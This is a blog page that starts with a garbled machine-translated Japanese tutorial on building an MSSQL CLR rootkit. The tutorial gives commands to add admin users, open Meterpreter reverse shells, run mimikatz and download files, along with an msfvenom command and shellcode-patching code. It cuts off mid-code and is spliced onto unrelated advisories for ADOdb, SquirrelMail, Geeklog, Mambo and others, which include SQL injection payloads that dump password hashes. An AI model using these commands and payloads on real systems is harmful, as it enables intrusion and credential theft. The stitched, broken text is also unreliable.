Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863557978

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00はじめに

この記事では、長い間解決されてきたMSSQL rootkitである問題に対処します。これまでのところ、MS-SQLについて説明されているほとんどのコマンド実行は、「XP_CMDSHELL」および「SP_OACREATE」ストアドプロシージャと呼ばれてきました。したがって、XP_CMDSHELLおよびSP_OACREATEストアドプロシージャのないMSSQLサーバーに「SASADMIN」権限を備えた「SA」アカウントまたはユーザーアカウントがある場合、システムの浸透を停止しますか?

もちろん、あきらめるべきではありません。この記事では、「XP_CMDSHELL」、「SP_OACREATE」、「SP_OAMETHOD」のSysADMIN許可を使用してアカウントを取得する方法について説明します。

warsqlkit github33https://github.com/epicrouterss/mssql-fileless-lootkit-warsqlkit

このツールは、「システム管理者許可」や「XP_CMDSHELL」、「SP_OACREATE」、「SP_OAMETHOD」などのアクセス許可を持つアカウントをキャプチャするために使用されます。

warsqlkitコマンドの例:

exec sp_cmdexec 'hoami';=任意のWindowsコマンド

exec sp_cmdexec 'whoami /runsystempriv';=nt Authority \ System Rightsを備えたWindowsコマンド

exec sp_cmdexec '' net user eyup p@ssw0rd1 /add ' /runsystempriv';=rottenpotato(kumpir)でユーザーを追加する

exec sp_cmdexec '' net localgroup管理者eyup /add ' /runsystempriv';=rottenpotato(kumpir)を使用してローカルグループにユーザーを追加する

exec sp_cmdexec 'powershell get-childitem /runsystemps';=(Powershell)Rottenpotato(Kumpir)と

exec sp_cmdexec 'sp_meterpreter_reverse_tcp lhost lport getsystem';=X86メータープレターNT Authority \ Systemとの逆の接続

exec sp_cmdexec 'sp_x64_meterpreter_reverse_tcp lhost lport getsystem';=X64メータープレターNT Authority \ Systemとの逆の接続

exec sp_cmdexec 'sp_meterpreter_reverse_rc4 lhost lport getsystem';=x86メータープレター逆接続rc4 with nt authority \ system、rc4password=warsql

exec sp_cmdexec 'sp_meterpreter_bind_tcp lport getsystem';=x86メータープレターは、NT Authority \ Systemとの接続をバインドします

exec sp_cmdexec 'sp_mimikatz';

select * from warsqlkittemp=mimikatz logを取得します。ありがとうベンジャミンデルピー:)

exec sp_cmdexec 'sp_downloadfile http://eyupcelik.com.tr/file.exe c: \ programdata \ file.exe 300';=ファイルをダウンロードします

exec sp_cmdexec 'sp_getsqlhash';=MSSQLハッシュを取得します

exec sp_cmdexec 'sp_getproduct';=Windows製品を取得します

exec sp_cmdexec 'sp_getdatabases';=利用可能なデータベースを取得します

warsqlkit.dll3:3359github.com/epicrouterss/mssql-fileless-rootkit-warsqlkit/raw/master/warsqlkit/bin/debug/warsqlkit.dll

warsqlkit_compressed.dll3:3359github.com/epicrouterss/mssql-fileless-rootkit-warsqlkit/raw/master/warsqlkit/bin/debug/confused/warsqlkit.dll

warsqlkitminimal.dll3:https://github.com/epicrouterss/mssql-fileless-rootkit-warsqlkit/raw/master/warsqlkitminimal/bin/debug/warsqlkitminimal.dll

MeterPreter CSHARP(C#)SHELLCODE:https://GITHUB.COM/EPICROUTERSS/BUILD-METERPRETER-CHARP-SHELLCODE

MeterPreter CSHARP(C#)base64エンコードされたシェルコード:https://github.com/epicrouterss/build-encoded-meterpreter-c-shellcode

oscmdexec_clr:3359github.com/netspi/powerupsql/blob/master/templates/tsql/oscmdexec_clr.sql

0x01 clr

とは何ですか

CLR(共通言語ランタイムライブラリ)は、MSSQL Server 2005で実行され、MSSQL Server 2016でも実行できる.NETフレームワークにコマンド実行環境を提供します。つまり、MSSQLを介して.NETフレームワークオブジェクトを処理および実行できます。 MSSQL CLRを使用して任意の.NET DLLをインポートするか、T-SQLを使用してコマンドを実行できます。

CLRに基づく

0x02 CLRベースのDLLとは

DLLファイル。 MSSQLのC#、VB.NETなど。NET言語のいずれかを使用すると、ストアドプロシージャにより、T-SQLステートメントがトリガーなどの.NETフレームワークで実行されます。これにより、MSSQLからストアドプロシージャまたは同様のT-SQLステートメントを送信することで適切に実行できるDLLベースのCLRを作成できます。 MSSQLを介して.NETオブジェクトを実行できれば、OSで実行するコードを実行できると思います。実際、NETの完全な機能を使用して、独自のrootKitを構築できます。それで、私たちはこれをどのように行いますか?

0x03 CLRベースのDLL

を作成します

最初に、Visual Studioからプロジェクトを作成します。 「新しいプロジェクト」、「SQL Server」、「SQL Server Database Project」にアクセスします。

cfwr31vpnag7906.png

プロジェクトを作成した後、右クリックして[新しいプロジェクトSQL CLR C#SQL CLR C#ストアドプロシージャの追加]を選択します。

1eqqj5gudo57907.png

これらの手順の後、CLRベースのDLLの準備が整いました。これで、コンパイルを開始できます。

0x04 dllコマンドハンドラー

ストアドプロシージャからDLLまでコマンドを処理する方法を作成する必要があります。このパラメーターを作成する理由は、MSSQLを介して転送されるオペレーティングシステムコマンドを実行する必要があるためです。

4dxhrdigdgp7908.png

「cmdexec」と呼ばれる静的メソッドを「cmd」パラメーターで定義しました。この静的メソッドのコマンドは、「runcommand」静的メソッドに転送されます。これにより、プロセスとそのパラメーターを介して入力として送信されたコマンドを実行し、結果を返すことができます。

ftweksk03rz7910.png

RunCommandメソッドに送信されたコマンドを使用して、Process()クラスからプロセスを作成し、CMD.EXEを介して実行し、MSSQLを介して出力を返します。

0x05アセンブリ - ストアドプロシージャ - 信頼できる関係

SQL CLR C#ストアドプロシージャを使用して、NET DLLの基本バージョンを作成しました。ただし、DLLのみが適切に機能しません。ストアドプロシージャを作成するには、T-SQLを介してMSSQLにDLLを登録する必要があります。また、MSSQLがCLRベースのDLLを作成および実行することもできます。デフォルトでは、MSSQL Server 2016はCLRベースのDLLファイルを実行せず、無効になっています。次のコードを使用して、この設定を変更します。

sp_configure 'clr enabled'、1

行く

再構成

行く

上記のコードを介して、「CLR有効」パラメーターを有効にします。このプロセスを完了した後、DLLファイルをアセンブリとしてMSSQLに追加できます。

信頼できる関係を確認するため。 MSSQLデータベースのデータベースが安全であるとマークされていることを確認してください。 Secureとマークされたデータベースは、オブジェクト、ネットワーク、およびプロセスリソースにアクセスできます。信頼できることで、次のコードを使用してデータベースを安全であるとマークできます。

データベースマスターセットを変更します。

このプロセスを完了したら、MSSQLにアセンブリとしてDLLファイルを導入する必要があります。これが最も重要な部分です。 MSSQLにアセンブリ(.NET DLL)を定義する3つの異なる方法があります。そのため、3つの異なるメソッドを使用して、作成したDLLファイルをデータベースにロードできます。

a.dllファイルは、バイトストリームとしてMSSQLにロードされます

バイトストリームとして作成されたDLLファイルをMSSQLにロードできます。これを行うには、file.readallbytes()クラスを使用して、別のプロジェクトで作成されたDLLファイルを呼び出す必要があります

zcdlivip4mk7911.png

別のプロジェクトByTestreamタイプで作成されたDLLファイルを読み取り、ByTestream.txtに出力します。これで、DLLファイルのバイトストリームがあります。このバイトストリームを使用すると、MSSQLにDLLをロードせずにDLLをアセンブリに登録できます。これを行うには、いくつかのSQLステートメントを実行する必要があります。

注:この方法を使用して、MSSQLでDLLファイルを作成せずにDLLファイルをデータストリームとして保存します。これにより、rootkitはファイルなしで完全に実行されます。

アセンブリSP_CMDEXECを作成します

0x4D5A90000000000000000000400000FFF0000B80000000000000000から

Permission_set=unsafe

行く

アセンブリの作成を使用して、「sp_cmdexec」という名前のアセンブリを作成します。次に、fromコマンドを使用して、バイトストリームを選択してファイルに出力します。ここで注意すべき最も重要なことは、テキストファイルに出力されるバイトストリームの先頭に「0xbasında」がないことです。ビデオストリームをテキストファイルに貼り付けると、適切に機能しません。したがって、0倍に書き込んだ後、バイトストリームをテキストファイルに貼り付けます。 permission_set=unsafeパラメーターを使用して、DLLが危険なリソースにアクセスできることを指定します(つまり、SQLおよびT-SQLステートメントのみを実行します)。安全なパラメーターをパラメーターとして設定してCMDコマンドを実行しようとすると、エラー「System.Security.HostProtectionException CAK」がスローされ、CMDコマンドが適切に実行されません。

ibltmkfqlq17912.png

上記の図に示すように、SAFEはデータベースのみを処理します。 external_accessを使用すると、ファイル、レジストリ、ネットワークにアクセスできます。 Unsafeを使用すると、ネイティブDLL、COM DLLSオブジェクト、その他の安全でないリソースにアクセスできます。

b。 SQL Server Management Studioを使用して、DLLファイルをMSSQLに変換

SQL Server Management Studioで作成されたDLLファイルをMSSQLに登録することもできます。これを行うには、Management Studioを通じてMSSQLを管理しましょう。

srnwx5jixfn7913.png

データベースで、システムデータベースとプライマリデータベースにアクセスします。次に、[プログラマ性]メニューからアセンブリを右クリックし、[新しいアセンブリ]を選択します。

w1kzaikolt07914.png

ブラウジングメニューから作成したDLLファイルを選択して、DLLを登録できます。このプロセスを完了した後、DLLがアセンブリメニューに追加されたことがわかります。

ciujotuzcos7916.png

上記のスクリーンショットからわかるように、WarsQlkitという名前のDLLファイルはアセンブリに保存されています。

サーバーの

C.DLLはDLL

を呼び出します

アセンブリSP_CMDEXECの作成

'c: \ programdata \ warsqlkit.dll'から

Permission_set=unsafe

行く

DLLを他の方法でMSSQLサーバーにロードすると、ディレクトリからDLLを呼び出すこともできます。 DLLファイルがロードされたら、サーバーから削除できます。サーバーからDLLを削除したとしても、アセンブリは実行され続けます。

アセンブリにDLLを登録した後、3つのメソッドのいずれかを使用して、DLLで作成されたCMDEXEC静的メソッドを呼び出すか、手順コールを送信できます。これを行うには、最終的にストアドプロシージャが必要です。次のコマンドを使用して、ストアドプロシージャを作成できます。

手順SP_CMDEXECを作成します

@command [nvarchar](4000)

発信者として実行されます

として

外部名warsqlkit.storedprocedures.cmdexec

行く

私たち全員が準備ができたので、コマンドを実行し始めましょう。より詳細なのは、CREATE PROCEDUREコマンド「SP_CMDEXEC」がSP_CMDEXECと呼ばれるストアドプロシージャを作成することです。次に、「xp_cmdshell」の代わりに「sp_cmdexec」を使用します。また、 @Command [nvarchar](4000)を使用してコマンドパラメーターを定義しました。 Nvarcharは最大4000文字をサポートするため、4000文字のコマンドを実行または表示できます。外部名パラメーターで作成されたDLLの名前の名前であるWarsQlkit、StoredProceduresという名前のパブリシャル部分クラス、およびCMDEXECという名前のpublic static voidメソッドを呼び出します。

0x06 Windowsコマンドを実行

gjgn4px4ee57917.png

execsp_cmdexec'net user '; #Windowsローカルユーザーのリストをリストします。 XP_CMDSHELLやSP_OACRATEなどのストアドプロシージャはもう必要ありません。既知のすべてのWindowsコマンドをオペレーティングシステムに送信できます。

0x07 C#-MSSQL互換メータープレターシェルコード

これまでのところ、私たちがやったことは、基本的なXP_CMDSHELL実行と違いはありません。これで、rootkitセクションに切り替えることができます。上記では、MSSQLで.NETフレームワークを使用できる機能について言及しました。したがって、DLLファイルを少し変更してから、メータープレターのシェルコードを埋め込む必要があります。したがって、SP_CMDEXECストアドプロシージャで定義されたパラメーターを使用して、メータープレターセッションを取得できます。

KALIオペレーティングシステムから端子画面にアクセスして、CSHARP互換のシェルコードを作成します。これを行うには、次のコマンドを使用できます。

MSFVENOM -P Windows/MeterPreter/Reverse_tcp lhost=192.168.139.129 lport=4444 Exitfunc=none -f csharp -Platform Windows

4fc3svelp1t7918.png

作成したCSHARP互換のシェルコードは、323バイトのコードになります。 MeterPreterコードをコンパイルして実行するには、DLLに新しいクラスを追加する必要があります。 MeterPreterBuilderというクラスを作成しました。このクラスのSavereversemeterPreter()と呼ばれる公開voidメソッドを定義します。この方法では、シェルコードを実行するための要件を定義します。

0ii0ivstk4u7919.png

次に、MeterPreterBuilderクラスでグローバルに次のパラメーターを定義します。

vrr05xrn5ws7921.png

この記事では、実行するシェルコードが準備ができています。 sp_cmdexecを介して直接実行したい場合は、解決する必要がある2つの問題があります。 1。MSSQL(SQLSERVR.EXE)は、このシェルコードを実行することを許可しません。 2。MSFvenomからCSHARPシェルコードを生成し、DLLを更新するたびに、多くのトラブルが発生します。したがって、最初にこれらの問題を解決する必要があります。

シェルコードを実行するには、NETフレームワークの組み込みコンパイラ(Visual Studioなし)を使用してExeフォームでコードを構築し、別のプロセスとして実行する必要があります。毎回MSFvenomとシェルコードを処理できないため、文字列IPおよび文字列ポートパラメーターを定義し、ストアドプロシージャのIP-PORTパラメーターを使用してシェルコードを更新することにより、SaverEverseMeterPreter()メソッドをコンパイルする必要があります。ステップ1については、 '.NETフレームワークを使用(Visual Studioを使用)C言語というタイトルのセクションを読むことができます。ステップ2では、この方法をpublicstaticVoid savereversemeterpreter(String IP、String Port)に更新します。これで、SavereversemeterPreterメソッドは、呼び出されたときにIPとポートを促します。入力IPおよびポート情報に基づいてシェルコードを更新します。これには、次のコードを使用できます。

var ipoctetsplit=ip.split( '。');

byte octbyte1=convert.tobyte(ipoctetsplit [0]);

byte octbyte2=convert.tobyte(ipoctetsplit [1]);

byte octbyte3=convert.tobyte(ipoctetsplit [2]);

byte octbyte4=convert.tobyte(ipoctetsplit [3]);

int inputport=int32.parse(port);

「.」に基づいて送信されたIPをパラメーターとして分割し、IPは4オクテットに割り当てられます。各オクテットのバイトタイプ変数を定義することにより、IPオクテットをconvert.tobyteで文字列としてバイトタイプに変換します。

ポートで実行するプロセスは多少異なります。ポートをINT32に解析します。その理由は、このポートには数字のみが含まれているためです。句読点はありません。さらに、ポートは256を超える数値に対応する場合があります。したがって、ポートが4444として定義されている場合、メータープレーターは256を超えるため、シェルコードに2バイトの値があります。設定するポート番号がわからないため、ポート番号のサイズを調べてセットする数値を決定します。

BYTE PORT1BYTE=0x00; #私は2バイトの0x00を定義しました。

BYTE PORT2BYTE=0x00;

if(入力256)

{

int portoct1=inputport/256;

int portoct2=portoct1 * 256;

int portoct3=inputport -portoct2;

int portoct1calc=portoct1 * 256 + portoct3;

if(inputport==portoct1calc)

{

port1byte=convert.tobyte(portoct1);

ADOdb Cross Site Scripting

Vendor: John Lim
Product: ADOdb
Version: <= 4.71
Website: http://adodb.sourceforge.net/

BID: 16720 
CVE: CVE-2006-0806 
OSVDB: 23362 23363 23364 
SECUNIA: 18928 
PACKETSTORM: 44065 

Description:
ADOdb is a database abstraction library for php used by a great deal of projects to provide support for a number of well known database api's. ADOdb also comes with various functions to perform routine database related tasks. One of the more useful of these functions is ADOdb's ability to paginate the retrieved database records by using the ADODB_Pager class. However, there are several cross site scripting issues within the ADODB_Pager class that may allow for an attacker to render malicious client side code in the victims browser. An updated version of ADOdb has been released, and users should update their ADOdb library. 


Cross Site Scripting:
There are several Cross Site Scripting issues in ADOdb versions 4.71 and possibly earlier that may allow for an attacker to render malicious client side code in the victim's browser. 
if (isset($_GET[$next_page])) {
	$_SESSION[$curr_page] = $_GET[$next_page];
}
if (empty($_SESSION[$curr_page])) $_SESSION[$curr_page] = 1; ## at first page
		
$this->curr_page = $_SESSION[$curr_page];

The above code is taken from adodb-pager.inc.php @ lines 72-77 and ultimately set's the $this->curr_page variable to unsanitized user supplied input. Later on this variable is used when drawing the links for the pagination, thus allowing for Cross Site Scripting attacks to be possible. There are also several unsafe PHP_SELF calls within the script that allow for similar Cross Site Scripting attacks. In addition to these issues there are also several input validation issues in the performance scripts such as adodb-perf.inc.php and perf-oci8.inc.php, but these will not be addressed as the author says: 

"The adodb perf files assume that you can execute any sql in the system from the sql form we provide. True that there could be security issues in the perf scripts, but using the perf files already assume (and require) a high level of trust." 

We may include details of these vulnerabilities in this advisory at a later date. However, a new version of ADOdb was just released to address the previously mentioned Cross Site Scripting issues. 


Solution:
A new version of ADOdb was recently released which addresses the previously mentioned Cross Site Scripting issues. Users should upgrade their current vulnerable ADOdb libraries. 


Credits:
James Bercegay of the GulfTech Security Research Team
            
XPCOM Race Condition

Vendor: Mozilla
Product: XPCOM
Version: 
Website: http://www.mozilla.org/projects/xpcom/

CVE: CVE-2005-2414 
OSVDB: 18226 
PACKETSTORM: 38837 

Description:
xpcom, or cross platform component object model is a framework for writing cross-platform, modular software. The xpcom library is used in many applications including a majority of the popular browsers such as FireFox, NetScape, Mozilla, Galeon, etc. It seems that there is a race condition of sorts in xpcom that makes it possible for an attacker to crash a victims browser by having them view a malformed html document. This issue is not believed to be exploitable by the Mozilla dev team, and will likely be addressed in full at a later date by the development team. 


XPCOM Race Condition:
It is possible for an attacker to create a race condition that will cause an access violation and result in a hard crash of the browser. One way to trigger this issue is by taking a decent sized html file and loading a dom call within some nested divs that will cause part of the page currently being rendered to be deleted. If the page has not loaded by the time the dom call is made then we can delete objects that have yet to be referenced, which will result in a crash as soon as the browser tries to reference the deleted object. 

http://www.gulftech.org/wrecko.html 

The above link is a simple proof of concept I wrote a few months ago to show the developers how the issue could be used to cause a crash of the affected web browser. Due to time constraints I have not got to look into this issue very in depth, but it may be possible to use the race condition described here in combination with other dom calls or javascript to produce different results than those demonstrated in my proof of concept. 


Solution:
Mozilla have been aware of this issue for some months, and have fixed the issue on trunk, but not on branch. The reason for this as stated by one of the developers is "fixes for this stuff could easily cause regressions". I did test this issue on the latest copy of the mozilla browser (Deer Park) this morning though, and it seemed to NOT be vulnerable. However, firefox and the like are still affected. 


Credits:
James Bercegay of the GulfTech Security Research Team
            
SquirrelMail Arbitrary Variable Overwrite

Vendor: The SquirrelMail Project Team
Product: SquirrelMail
Version: <= 1.4.5-RC1
Website: http://www.squirrelmail.org/

BID: 14254 
CVE: CVE-2005-2095 
SECUNIA: 16058 
PACKETSTORM: 38709 

Description:
SquirrelMail is a standards-based webmail package written in php. It includes built-in pure PHP support for the IMAP and SMTP protocols. Unfortunately there is a fairly serious variable handling issue in one of the core SquirrelMail scripts that can allow an attacker to take control of variables used within the script, and influence functions and actions within the script. An updated version of SquirrelMail can be downloaded from their official website. Users are advised to update their SquirrelMail installations as soon as possible. 


Variable Overwriting:
There is a fairly serious variable overwriting vulnerability in one of the core SquirrelMail scripts. The vulnerable script makes use of an extract() call in a careless manner, thus allowing us to overwrite any variables declared before the fault extract call is made. Let's have a look at /src/options_identities.php

/**
 * Path for SquirrelMail required files.
 * @ignore
 */
define('SM_PATH','../');

/* SquirrelMail required files. */
require_once(SM_PATH . 'include/validate.php');
require_once(SM_PATH . 'functions/global.php');
require_once(SM_PATH . 'functions/display_messages.php');
require_once(SM_PATH . 'functions/html.php');

/* POST data var names are dynamic because 
   of the possible multiple idents so lets get
   them all
*/

if (!empty($_POST)) {
    extract($_POST);
}

As we can see from the above block of code, the careless extract() call is made after a majority of the important variables used in the application are loaded, thus making them vulnerable to being easily overwritten. In short, by submitting the variable(s) of the attackers choosing a malicious user could easily influence many important variables, and function calls. 


Solution:
Thanks to Jonathan Angliss and the SquirrelMail team for a prompt resolution to this vulnerability. In regards to the updated files 

http://www.squirrelmail.org/download.php 

The latest version of SquirrelMail 1.4.5 can be downloaded from the link above, and users are advised to upgrade as soon as possible. 


Credits:
James Bercegay of the GulfTech Security Research Team
            
PEAR LiveUser Arbitrary File Access

Vendor: Markus Wolff
Product: PEAR LiveUser
Version: <= 0.16.8
Website: http://pear.php.net/package/LiveUser/

BID: 16761 
CVE: CVE-2006-0869 
OSVDB: 23495 23496 
PACKETSTORM: 44140 

Description:
LiveUser is a user authentication and permission management framework that is part of php's PEAR Library. LiveUser has many different features, including the ability to remember a user via cookies. Unfortunately there is an issue with how extracted cookie data is handled by the LiveUser library within the remember feature which makes it possible for an attacker to gain access to, and even delete potentially sensitive files on the webserver. An updated version of the LiveUser framework has been released, and users are advised to upgrade to LiveUser 0.16.9 


Arbitrary File Access:
There is an arbitrary file access vulnerability in PEAR LiveUser that allows an attacker to access arbitrary files on the server 
$cookieData = $_COOKIE[$this->_options['cookie']['name']];
if (strlen($cookieData) < 65
    // kill all old style remember me cookies
    || (strpos($cookieData, ':') && strpos($cookieData, ':') < 64)
) {
    // Delete cookie if it's not valid, keeping it messes up the
    // authentication process
    $this->deleteRememberCookie();
    $this->_stack->push(LIVEUSER_ERROR_COOKIE, 'error', array(),
        'Wrong data in cookie store in LiveUser::readRememberMeCookie()');
    return false;
}

$store_id = substr($cookieData, 0, 32);
$passwd_id = substr($cookieData, 32, 32);
$handle = substr($cookieData, 64);

$dir = $this->_options['cookie']['savedir'];

$fh = @fopen($dir . '/' . $store_id . '.lu', 'rb');
if (!$fh) {
    $this->deleteRememberCookie();
    $this->_stack->push(LIVEUSER_ERROR_CONFIG, 'exception', array(),
        'Cannot open file for reading');
    return false;
}

$fields = fread($fh, 4096);
fclose($fh);
if (!$fields) {
    $this->deleteRememberCookie();
    $this->_stack->push(LIVEUSER_ERROR_CONFIG, 'exception', array(),
        'Cannot read file');
    return false;
}

The above code is taken from LiveUser.php @ lines 1269-1303 and clearly shows the $store_id variable being assigned unsanitized data, which is passed to an fopen called shortly thereafter. The good news is that as far as I can tell this issues can not be abused in a real world scenario much further than enumerating file existance on the local filesystem. 


Arbitrary File Deletion:
Similar to the previously mentioned issue, this vulnerability may allow a malicious user to delete arbitrary files on the local server by supplying malicious cookie data. 
$cookieData = $_COOKIE[$this->_options['cookie']['name']];
if (strlen($cookieData) < 65) {
    $this->_stack->push(LIVEUSER_ERROR_COOKIE, 'error', array(),
        'Wrong data in cookie store in LiveUser::deleteRememberCookie()');
    return false;
}

$store_id = substr($cookieData, 0, 32);
@unlink($this->_options['cookie']['savedir'] . '/'.$store_id.'.lu');

The above code is also taken from LiveUser.php and resides @ lines 1343-1351. Here we see user supplied data being used in an unlink call which could allow an attacker to delete arbitrary files on the local server by traversing out of the cwd and terminating the fopen call with a null byte. 


Solution:
An updated version of the LiveUser framework has been released to address these issues. The current release is LiveUser 0.16.9 and users should update their LiveUser libraries as soon as possible. Special thanks to Lukas Smith for a very prompt resolution! 


Credits:
James Bercegay of the GulfTech Security Research Team
            
Geeklog Multiple Vulnerabilities

Vendor: Geeklog
Product: Geeklog
Version: <= 1.4.0
Website: http://www.geeklog.net/

BID: 16755 
CVE: CVE-2006-0823 
OSVDB: 23348 23349 
SECUNIA: 18920 
PACKETSTORM: 44070 

Description:
Geeklog is one of the most popular content management systems available today. Geeklog unfortunately is vulnerable to a number of different attacks such as SQL Injection, and arbitrary file inclusion. These attacks can be combined to ultimately execute code on the vulnerable web server in a very reliable manner. According to the developers these issues affect pretty much every version of Geeklog ever released, so users are strongly encouraged to upgrade to the latest version of Geeklog which is Geeklog 1.4.0sr1 and 1.3.11sr4 


SQL Injection:
Geeklog is vulnerable to a number of SQL Injection attacks due to improperly handling user supplied GPC data. 

$userid = $_COOKIE[$_CONF['cookie_name']];
if (empty ($userid) || ($userid == 'deleted')) {
    unset ($userid);
} else {
    if ($VERBOSE) {
        COM_errorLog('NOW trying to set permanent cookie',1);
        COM_errorLog('Got '.$userid.' from perm cookie in users.php',1);
    }
    if ($userid) {
        $user_logged_in = 1;
        // Create new session
        $userdata = SESS_getUserDataFromId($userid);
        $_USER = $userdata;
        if ($VERBOSE) {
            COM_errorLog('Got '.$_USER['username'].' for the username in user.php',1);
        }
    }
}

The above code is taken from users.php @ lines 896-913. This bit of code is vulnerable to SQL Injection because it passes the $userid variable, whose value comes from a cookie var, to the SESS_getUserDataFromId function located in lib-sessions.php @ lines 445-463. The $userid variable is never sanitized once inside the function and is eventually used in a query. While we have our attention focused on lib-sessions.php let's take a look at the function SESS_sessionCheck() which is called on nearly every page to check authentication. 

$sessid = $_COOKIE[$_CONF['cookie_session']];
if ($_SESS_VERBOSE) {
    COM_errorLog("got $sessid as the session id from lib-sessions.php",1);
}

$userid = SESS_getUserIdFromSession($sessid, $_CONF['session_cookie_timeout'], 
$_SERVER['REMOTE_ADDR'], $_CONF['cookie_ip']);

if ($_SESS_VERBOSE) {
    COM_errorLog("Got $userid as User ID from the session ID",1);
}

The above code is taken from lib-sessions.php @ lines 98-107 As you can see, the unsanitized variable $sessid is passed to the SESS_getUserIdFromSession() function where it will be used in a query. These SQL injection issues can be very dangerous, because not only is SQL Injection possible, but SQL Errors are outputted to error.log making code execution via file inclusion very easy, and reliable to exploit. 


Arbitrary File Access:
There are a number of arbitrary file access vulnerabilities in Geeklog which can allow for an attacker to read arbitrary files, include arbitrary files, and ultimately execute code on the underlying web server. In lib-common.php @ lines 245 through 275 we see a bit of code that allows an attacker to specify an arbitrary local directory. If that directory exists (e.g. /home/attacker/) then an attacker would then be able to have certain files within that directory, for example "functions.php" included within Geeklog, and possibly execute arbitrary code. Also, within lib-common is an even easier to exploit issue with the way Geeklog loads languages. 
if( isset( $_COOKIE[$_CONF['cookie_language']]) && empty( $_USER['language'] ))
{
    if( is_file( $_CONF['path_language'] . $_COOKIE[$_CONF['cookie_language']] . '.php' ))
    {
        $_USER['language'] = $_COOKIE[$_CONF['cookie_language']];
        $_CONF['language'] = $_COOKIE[$_CONF['cookie_language']];
    }
}
else if( !empty( $_USER['language'] ))
{
    if( is_file( $_CONF['path_language'] . $_USER['language'] . '.php' ))
    {
        $_CONF['language'] = $_USER['language'];
    }
}

The above code is taken from lib-common.php @ lines 298-312 and shows us that we can load any file we want on the local server. If an attacker uses the previously mentioned SQL Injection issues to create an error that includes php code, then they can have that code easily included and executed by specifying the relative path to the error.log within the cookie's language parameter. 


Solution:
Special thanks to Dirk Haun for a very prompt reply and resolution to these very serious issues. New versions of Geeklog have been released, and users should upgrade as soon as possible. 


Credits:
James Bercegay of the GulfTech Security Research Team
            
Mambo Multiple Vulnerabilities

Vendor: Miro International Pty Ltd
Product: Mambo
Version: <= 4.5.3h
Website: http://www.mamboserver.com

BID: 16775 
CVE: CVE-2006-0871 CVE-2006-1794 
OSVDB: 23402 23503 23505 
SECUNIA: 18935 
PACKETSTORM: 44191 

Description:
Mambo is a popular Open Source Content Management System released under the GNU General Public license (GNU GPL). There are a number of security issues in Mambo which allows for SQL Injection, Authentication Bypass, and possible remote code execution via local file inclusion. There has been an updated version of Mambo released and all users are advised to upgrade as soon as possible. Also, please note that these vulnerabilities are NOT related to any worms currently taking advantage of vulnerable Mambo installations. 


SQL Injection:
There are several SQL Injection issues in Mambo Open Source. The easiest to exploit of the issues allows an attacker to login as any user. The only info the attacker has to have is the target username (if no user is specified, the first user from the users table will be selected instead). 

function login( $username=null,$passwd=null ) {
global $acl;

$usercookie = mosGetParam( $_COOKIE, 'usercookie', '' );
$sessioncookie = mosGetParam( $_COOKIE, 'sessioncookie', '' );
if (!$username || !$passwd) {
	$username = trim( mosGetParam( $_POST, 'username', '' ) );
	$passwd = trim( mosGetParam( $_POST, 'passwd', '' ) );
	$passwd = md5( $passwd );
	$bypost = 1;
}
$remember = trim( mosGetParam( $_POST, 'remember', '' ) );

if (!$username || !$passwd) {
	echo "\n";
	exit();
} else {
	$this->_db->setQuery( "SELECT id, gid, block, usertype"
	. "\nFROM #__users"
	. "\nWHERE username='$username' AND password='$passwd'"
	);
	$row = null;
	if ($this->_db->loadObject( $row )) {
		if ($row->block == 1) {
			echo "\n";
			exit();
		}
		// fudge the group stuff
		$grp = $acl->getAroGroup( $row->id );
		$row->gid = 1;

		if ($acl->is_group_child_of( $grp->name, 'Registered', 'ARO' ) ||
		$acl->is_group_child_of( $grp->name, 'Public Backend', 'ARO' )) {
			// fudge Authors, Editors, Publishers and Super Administrators 
			into the Special Group
			$row->gid = 2;
		}

The above code is from mosMainFrame class (/includes/mambo.php) and is the source of the previously mentioned problem. The function mosGetParam() for the most part just imports GPC variables, and has no real effective filtering or the like, so several variables shown above contain unsanitized data. These variables include $username, which is shortly thereafter passed to the query, thus allowing a user to bypass a login by supplying a username of "user'/*" and any password. This is a very serious issue, but should prove easy to fix by either adding better filtering in the mosGetParam() or sanitizing the data within the login() function, or both. If a malicious user is able to use this vulnerability to gain admin privileges then it is pretty much game over as an attacker could then upload, and install a malicious module and execute any php code of their choice on the server. 

Another issue with Mambo Open Source is data passed to the mosMenuCheck() function is usually unsanitized in regards to the $task parameter. 
function mosMenuCheck( $Itemid, $menu_option, $task, $gid ) {
global $database;
$dblink="index.php?option=$menu_option";
if ($Itemid!="" && $Itemid!=0) {
	$database->setQuery( "SELECT access FROM #__menu WHERE id='$Itemid'" );
} else {
	if ($task!="") {
		$dblink.="&task=$task";
	}
	$database->setQuery( "SELECT access FROM #__menu WHERE link like '$dblink%'" );
}
$results = $database->loadObjectList();
$access = 0;
//echo "
"; print_r($results); echo "
";
foreach ($results as $result) {
	$access = max( $access, $result->access );
}
return ($access <= $gid);
}

As seen in the above code the unsanitized $task variable will be used in the query as long as $Itemid is empty. 

http://mambo/index2.php?option=com_content&task=-99'%20UNION%20SELECT%201%20FROM%20

mos_users%20WHERE%20username='admin'%20AND%20MID(password,1,1)='2'/*&id=24&Itemid=0

If the first character from the password hash belonging to the user "admin" is two as specified above then Mambo displays the error "You need to login". This is an easy issue to exploit, and unfortunately mosMenuCheck() is called in the same unsafe manner from other files as well. Last but not least there is an SQL Injection issue in the "com_content" component, particularly the showCategory() function. 

// get the total number of published items in the category
// filter functionality
$filter = trim( mosGetParam( $_POST, 'filter', '' ) );
$filter = strtolower( $filter );
$and = '';
if ( $filter ) {
	if ( $params->get( 'filter' ) ) {
		switch ( $params->get( 'filter_type' ) ) {
			case 'title':
				$and = "\n AND LOWER( a.title ) LIKE '%". $filter ."%'";
				break;
			case 'author':
				$and = "\n AND ( ( LOWER( u.name ) LIKE '%". $filter ."%' ) OR 
				( LOWER( a.created_by_alias ) LIKE '%". $filter ."%' ) )";
				break;
			case 'hits':
				$and = "\n AND a.hits LIKE '%". $filter ."%'";
				break;
		}
	}

}

As you can see from the above code, the $filter variable is passed to the query completely unsanitized, and allows for easy to exploit SQL Injection. This is very dangerous. 

filter=' UNION SELECT 1,2,3,4,CONCAT(username,CHAR(58),password),6,7,8,9,1 FROM mos_users 
WHERE 1/*&order=rdate&limit=10&id=0§ionid=&task=category&option=com_content 

The above data sent in a post request to the vulnerable script will effectively dump every single username and password hash in the database to the attacker. It should be noted that the above attacks are only effective in the default php enviornment of magic_quotes_gpc off 


Arbitrary File Inclusion:
